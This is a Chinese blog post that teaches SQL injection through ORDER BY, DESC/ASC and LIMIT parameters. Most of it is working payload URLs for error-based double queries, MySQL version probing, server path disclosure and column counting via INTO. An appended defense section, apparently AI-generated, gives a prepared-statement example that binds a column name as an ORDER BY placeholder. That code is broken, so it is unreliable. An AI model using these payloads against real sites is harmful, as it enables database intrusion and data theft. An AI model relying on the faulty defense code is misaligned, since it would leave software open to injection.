order by/limit 注入

本文介绍在特定条件下如何利用SQL注入漏洞,包括在ORDER BY、DESC/ASC及LIMIT后的参数进行攻击的方法,通过实例展示了如何获取数据库版本、路径及字段数量等关键信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

类似的代码
php code
SELET * FROM page WHERE id=1 ORDER BY id [参数] ASC [参数] LIMIT 10,10 [参数]
[参数] – 为存在注入的参数
我们不能在这注入上使用union,所以我们只能使用其他我们可以利用的
 
在order by id [参数] 之后使用双重查询
 
假设有以下网站
code:
http://www.domain.com/include/products.php?sb=id–这是id是在order by [id]的一个注入点
 
我知道我可以利用union在另外一个注入点,我要做这样的测试
在order by之后,我们唯一不能使用——unoin,having,where,and还有一些无关紧要的关键字
我们可以使用and进行双重查询
Code:
 
http://www.domain.com/include/products.php?sb=id and (select count(*) from products group by concat(version(),0x27202020,floor(rand(0)*2-1)))--'5.0.95-community'
(我用’products’这个表,因为我可以从这个表中看到存在的错误,如果你看不到表,可以使用’information_schema.columns’)
 
在desc/asc [参数] 之后使用双重查询
 
假设有以下网站
code:
http://www.domain.com/include/products.php?sb=id–这是id是在desc [id]的一个注入点
在desc/asc之后它的小问题,因为我们不可以使用——union,having,where,and,or,xor,*,>,所以我们不能执行查询命令
所以我们只要加上一个’,'就可以和语句进行查询了
Code:
 
http://www.domain.com/include/products.php?sb=id desc,(select count(*) from users group by concat(version(),0x27202020,floor(rand(0)*2-1)))'5.0.95-community'
假设注入如下
PHP Code:
SELECT * FROM page WHERE id=1 ORDER BY [参数] id
添加’1′就可以和最初一样注入了
Code:
1 and (select count(*) from products group by concat(version(),0×27202020,floor(rand(0)*2-1)))–
在limit 10,10 [参数]之后
使用一些技巧
 
假设有以下网址
Code:
 
http://www.2cto.com /include/products.php?rw=10
–注入点在是limit 10这样的形式
当注入点在limit之后,我们什么都做不了,只有以下这些命令
 
offset,into,into outfile/dumpfile,/*!*/,for update,lock in share mode
所以我们想试试我们能利用的
如下:
获取版本
爆出路径
获取字段总数
 
获取版本
我们可以利用评论去获取mysql的版本
我们可以手工去猜它,如果它返回正确,那么页面将不会载入,就像盲注一样,但是有区别
Code:
http://www.domain.com/include/products.php?rw=10 /*!50094aaaa*/页面没有载入说明版本大于5.00.94
Code:
http://www.domain.com/include/products.php?rw=10 /*!50096aaaa*/页面没有载入说明版本小雨5.00.96
Code:
http://www.domain.com/include/products.php?rw=10 /*!50095aaaa*/页面没有载入说明版本等于5.00.95
 
爆出完整路径,我们可以用0或/**/这样的like格式,就可以爆出完整的路径,即便是mysql上报错也可以
Code:
 
http://www.domain.com/include/products.php?rw=0–这是完整的命令
 
PHP Code:
select * from….limit 0,0
 
我们也可以这样
Code:
 
http://www.domain.com/include/products.php?rw=/**/1
提示报错
 
Division by zero in /home/teletec/public_html/include/products.php on line 164
获取字段总数
使用into
它不会真正帮助到我们,但是它是一个不错的技巧
假设我们有以下的网站
Code:
 
http://www.domain.com/include/products.php?rw=10--注射点在like的参数里
我们可以这样获取到字段总数
Code:
 
http://www.domain.com/include/products.php?rw=10 into @
提示报错
error 1222.
not 1 column.
继续递增@
Code:
 
http://www.domain.com/include/products.php?rw=10 into @,@
……
……
http://www.domain.com/include/products.php?rw=10 into @,@,[n..]
一直到返回以下这样的错误
 
error 1172 "Result consisted of more than one row"
则可以确定有多少个字段
 
希望大家在这些技巧里能学到东西。
### SQL注入中 `ORDER BY` 的攻击方式 在SQL注入场景下,`ORDER BY` 子句可以被利用来探测列的数量以及验证是否存在SQL注入漏洞。通过向应用程序发送带有不同数值的 `ORDER BY` 请求,攻击者能够观察返回的结果集变化情况,以此推断出数据库表结构。 例如,在一个存在漏洞的应用程序参数处插入如下payload: ```sql ?id=1 ORDER BY 5 -- ``` 如果上述请求成功执行并返回正常结果,则说明该表至少有五列;反之则表明尝试越界访问失败[^2]。 ### 防御措施 为了防止基于 `ORDER BY` 的SQL注入攻击,建议采取以下几种策略: #### 使用预编译语句 (Prepared Statements) 采用预编译语句是防范SQL注入最有效的方式之一。这种方式使得SQL代码和数据分离处理,即使用户输入恶意内容也不会影响原始查询逻辑。具体实现上可以通过设置占位符来代替动态部分,并由驱动程序负责安全传递实际值给数据库引擎解析。 示例代码(Python + MySQL Connector): ```python import mysql.connector conn = mysql.connector.connect(user='root', password='', host='localhost') cursor = conn.cursor(prepared=True) query = "SELECT * FROM users WHERE id=%s ORDER BY %s LIMIT 1" data_tuple = ('some_id_value', 'column_name') cursor.execute(query, data_tuple) result_set = cursor.fetchall() for row in result_set: print(row) ``` 此做法不仅提高了安全性还增强了性能表现[^1]。 #### 输入校验与清理 严格控制外部输入的内容形式,确保其符合预期模式后再参与构建最终要被执行的SQL指令。比如针对整数类型的字段只允许纯数字串进入后续流程;而对于字符串类别的变量则需去除潜在危险字符如分号(`;`)、单引号(')等特殊符号。 此外还可以考虑引入白名单机制限定可接受范围内的合法选项作为排序依据,减少因误操作引发的风险。 #### 错误信息最小化原则 当遇到异常状况时应尽量避免暴露过多内部细节给前端展示出来,转而提供统一友好的提示文案告知用户发生了什么问题而不透露任何有关底层架构的具体线索。这有助于阻止那些试图从报错消息里寻找突破口实施进一步侵害行为的人士获得有用情报[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值